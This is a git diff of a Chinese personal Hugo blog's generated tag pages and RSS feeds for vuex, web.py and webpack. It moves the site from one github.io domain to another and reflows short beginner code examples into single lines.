     <title>vuex on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/vuex/</link>
+    <link>https://chenjunlinabc.github.io/tags/vuex/</link>
     <description>Recent content in vuex on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Mon, 13 Dec 2021 06:19:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/vuex/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Mon, 13 Dec 2021 06:19:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/vuex/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单使用vuex状态管理库</title>
-      <link>https://xiaochenabc123.github.io/posts/123/</link>
+      <link>https://chenjunlinabc.github.io/posts/123/</link>
       <pubDate>Mon, 13 Dec 2021 06:19:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/123/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/123/</guid>
       <description>vuex是一个专门为vuejs应用程序的设计的状态管理
 集中式存储管理应用的所有组件的状态
 多组件状态共享，不同的组件改变同一个状态
@@ -32,11 +32,11 @@ import Vuex from &amp;ldquo;vuex&amp;rdquo;
 new Vuex.store()
 将vuex实例挂载在vue对象上
 index.js
-Vue.use(Vuex)
const store = new Vuex.Store({
state: {
count: 0
}
})
export default store
main.js
-new Vue({
store // 将store对象添加到vue实例上
})
可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）
+Vue.use(Vuex) const store = new Vuex.Store({ state: { count: 0 } }) export default store main.js
+new Vue({ store // 将store对象添加到vue实例上 }) 可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）
 使用解构获取状态： import { mapState } from &amp;lsquo;vuex&amp;rsquo; export default { mounted() { console.log(this.count) }, computed: { &amp;hellip;mapState([&amp;lsquo;count&amp;rsquo;]) } }
 Getter
-getters: {
getCount(state) {
return state.</description>
+getters: { getCount(state) { return state.</description>
     </item>
     
   </channel>
diff --git a/tags/vuex/page/1/index.html b/tags/vuex/page/1/index.html
index 2775197e..ad6876dc 100644
--- a/tags/vuex/page/1/index.html
+++ b/tags/vuex/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/vuex/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/vuex/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/vuex/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/vuex/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/vuex/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/vuex/"></head></html>
\ No newline at end of file
diff --git a/tags/web.py/index.html b/tags/web.py/index.html
index e93032f6..a0fecff7 100644
--- a/tags/web.py/index.html
+++ b/tags/web.py/index.html
@@ -1,20 +1,10 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>web.py | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/web.py/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/web.py/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="web.py"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/web.py/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="web.py"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>web.py</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Web.py学习笔记</h2></header><div class=entry-content><p>web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>web.py | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/web.py/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/web.py/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="web.py"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/web.py/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="web.py"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>web.py</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Web.py学习笔记</h2></header><div class=entry-content><p>web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）
 安装web.py
 pip install web.py
 导入模块
 import web
 第一个例子
-import web
-urls = (
-"/(.*)","hallo"
-)
-app = web.application(urls,globals())
-class hallo:
-def GET(self,name):
-return "&lt;h1>hallo web.py&lt;/h1>"
-if __name__=="__main__":
-app.run()
-可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的</p></div><footer class=entry-footer><span title='2021-10-18 12:00:00 +0000 UTC'>2021-10-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Web.py学习笔记" href=https://xiaochenabc123.github.io/posts/117/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+import web urls = ( "/(.*)","hallo" ) app = web.application(urls,globals()) class hallo: def GET(self,name): return "&lt;h1>hallo web.py&lt;/h1>" if __name__=="__main__": app.run() 可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的</p></div><footer class=entry-footer><span title='2021-10-18 12:00:00 +0000 UTC'>2021-10-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Web.py学习笔记" href=https://chenjunlinabc.github.io/posts/117/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/web.py/index.xml b/tags/web.py/index.xml
index ba894da1..6997dd1f 100644
--- a/tags/web.py/index.xml
+++ b/tags/web.py/index.xml
@@ -2,29 +2,29 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>web.py on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/web.py/</link>
+    <link>https://chenjunlinabc.github.io/tags/web.py/</link>
     <description>Recent content in web.py on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Mon, 18 Oct 2021 12:00:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/web.py/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Mon, 18 Oct 2021 12:00:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/web.py/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>Web.py学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/117/</link>
+      <link>https://chenjunlinabc.github.io/posts/117/</link>
       <pubDate>Mon, 18 Oct 2021 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/117/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/117/</guid>
       <description>web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）
 安装web.py
 pip install web.py
 导入模块
 import web
 第一个例子
-import web
urls = (
&amp;quot;/(.*)&amp;quot;,&amp;quot;hallo&amp;quot;
)
app = web.application(urls,globals())
class hallo:
def GET(self,name):
return &amp;quot;&amp;lt;h1&amp;gt;hallo web.py&amp;lt;/h1&amp;gt;&amp;quot;
if __name__==&amp;quot;__main__&amp;quot;:
app.run()
可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的</description>
+import web urls = ( &amp;quot;/(.*)&amp;quot;,&amp;quot;hallo&amp;quot; ) app = web.application(urls,globals()) class hallo: def GET(self,name): return &amp;quot;&amp;lt;h1&amp;gt;hallo web.py&amp;lt;/h1&amp;gt;&amp;quot; if __name__==&amp;quot;__main__&amp;quot;: app.run() 可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的</description>
     </item>
     
   </channel>
diff --git a/tags/web.py/page/1/index.html b/tags/web.py/page/1/index.html
index a058cb4f..828df928 100644
--- a/tags/web.py/page/1/index.html
+++ b/tags/web.py/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/web.py/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/web.py/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/web.py/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/web.py/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/web.py/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/web.py/"></head></html>
\ No newline at end of file
diff --git a/tags/webpack/index.html b/tags/webpack/index.html
index 165deb6f..63703d79 100644
--- a/tags/webpack/index.html
+++ b/tags/webpack/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>webpack | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/webpack/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/webpack/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="webpack"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/webpack/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="webpack"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>webpack</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>webpack学习笔记</h2></header><div class=entry-content><p>webpack作为模块加载和打包神器
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>webpack | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/webpack/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/webpack/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="webpack"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/webpack/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="webpack"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + 